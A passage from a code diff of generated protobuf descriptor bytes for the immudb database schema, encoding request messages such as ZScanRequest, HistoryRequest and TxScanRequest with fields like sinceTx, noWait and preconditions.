0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, - 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, - 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, - 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, - 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, - 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, - 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, - 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, + 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, + 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, + 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, + 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, + 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, + 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, + 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, + 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, + 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, + 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, + 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, + 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, + 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, - 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, - 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, - 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, - 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, + 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, + 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, + 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, + 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, + 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, + 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, + 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, + 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, + 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, + 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, - 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, - 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, - 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, - 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 